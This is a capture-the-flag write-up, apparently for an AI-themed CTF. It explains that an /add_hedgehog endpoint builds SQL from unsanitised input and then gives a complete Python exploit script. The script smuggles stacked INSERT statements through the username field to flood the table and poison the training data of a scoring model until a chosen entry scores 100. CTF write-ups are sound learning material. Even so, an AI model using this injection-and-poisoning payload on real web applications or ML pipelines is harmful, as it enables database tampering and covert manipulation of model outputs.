The best hedgehog!
252 points
Challenge
Hmm, I think there is a way to make me the Best Hedgehog ever! Help me do it, and I’ll reward you generously! ~ Jaga, the Cybersecurity Hedgehog Hmm, I think there is a way to make me the Best Hedgehog ever! Help me do it, and I’ll reward you generously! ~ Jaga, the Cybersecurity Hedgehog
Solution
Looking at the code, we can see that the /add_hedgehog endpoint builds SQL without sanitizing user input. This gives us an avenue to inject multiple entries instead of 1 to really poison the train set, allowing us to bias the model towards giving jaga a 100 score.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
import requests, json, time
TARGET_BASE = "https://best-hedgehog.aictf.sg"
ADD_ENDPOINT = TARGET_BASE.rstrip('/') + "/add_hedgehog"
START_INSERTS = 80
MAX_INSERTS = 800
MAX_ATTEMPTS = 30
SLEEP_BASE = 1.5
VERIFY_TLS = True
TIMEOUT = 30
FURRINESS = 45
CUTENESS = 50
FRIENDLINESS = 40
CURIOSITY = 35
AGILITY = 48
SLEEPINESS = 42
def make_inserts_chunk(n):
parts = []
for i in range(1, n+1):
uname = f"p{i}"
parts.append(
"INSERT INTO hedgehogs(username,furriness,cuteness,friendliness,curiosity,agility,sleepiness,evaluation_score) "
f"VALUES('{uname}',{FURRINESS},{CUTENESS},{FRIENDLINESS},{CURIOSITY},{AGILITY},{SLEEPINESS},100);"
)
return " ".join(parts)
def build_variantA_payload(num_inserts):
inserts = make_inserts_chunk(num_inserts)
payload = f"x',{FURRINESS},{CUTENESS},{FRIENDLINESS},{CURIOSITY},{AGILITY},{SLEEPINESS}); {inserts} /*"
return payload
def post_payload(payload):
data = {
"username": payload,
"furriness": "0",
"cuteness": "0",
"friendliness": "0",
"curiosity": "0",
"agility": "0",
"sleepiness": "0",
"evaluation_score": ""
}
headers = {"User-Agent": "HedgehogAutoPoison/1.0", "Accept": "application/json"}
resp = requests.post(ADD_ENDPOINT, data=data, headers=headers, timeout=TIMEOUT, verify=VERIFY_TLS)
return resp
def extract_jaga_and_message(resp_json):
jaga_entry = None
message = resp_json.get("message") if isinstance(resp_json, dict) else None
for key in ("hedgehogs", "hedgehogs_list", "hedgehogs_list"):
arr = resp_json.get(key) if isinstance(resp_json, dict) else None
if isinstance(arr, list):
for hh in arr:
if isinstance(hh, dict) and hh.get("username") == "jaga":
jaga_entry = hh
break
if jaga_entry:
break
return jaga_entry, message
def attempt_poison_batch(num_inserts):
payload = build_variantA_payload(num_inserts)
try:
r = post_payload(payload)
except Exception as e:
print(f"[!] HTTP error while posting payload: {e}")
return None, None, None
try:
j = r.json()
except Exception:
return None, None, r.text
jaga, message = extract_jaga_and_message(j)
return j, jaga, message
def main():
print("[*] Automated hedgehog poisoning")
print(f"[*] Target: {ADD_ENDPOINT}")
inserts = START_INSERTS
for attempt in range(1, MAX_ATTEMPTS + 1):
print(f"\n--- Attempt {attempt} (inserts={inserts}) ---")
j, jaga, message = attempt_poison_batch(inserts)
if j is None and jaga is None and message is None:
print("[!] No JSON returned; check network/target")
break
if message:
print("[*] Server message:", message)
if jaga:
try:
eval_score = float(jaga.get("evaluation_score") or jaga.get("evaluation_sc") or jaga.get("evaluation", 0))
except Exception:
eval_score = None
for k in ("evaluation_score", "evaluation_sc", "evaluation"):
v = jaga.get(k)
try:
eval_score = float(v)
break
except Exception:
continue
print("[*] jaga entry found:", json.dumps(jaga, indent=2))
if eval_score is not None:
print(f"[*] jaga evaluation: {eval_score}")
if eval_score >= 100.0:
print("[+] Success: jaga >= 100")
return
else:
print("[*] Not yet 100; will try again increasing poison strength.")
else:
print("[*] jaga found but couldn't parse evaluation score.")
else:
print("[*] jaga not present in response.")
inserts = min(int(inserts * 1.6) + 10, MAX_INSERTS)
sleep_for = SLEEP_BASE * (1.5 ** (attempt - 1))
print(f"[*] Sleeping {sleep_for:.1f}s before next attempt (inserts now {inserts})")
time.sleep(sleep_for)
print("[!] Reached MAX_ATTEMPTS without getting jaga >= 100. Try raising MAX_INSERTS or re-tuning parameters.")
if __name__ == "__main__":
main()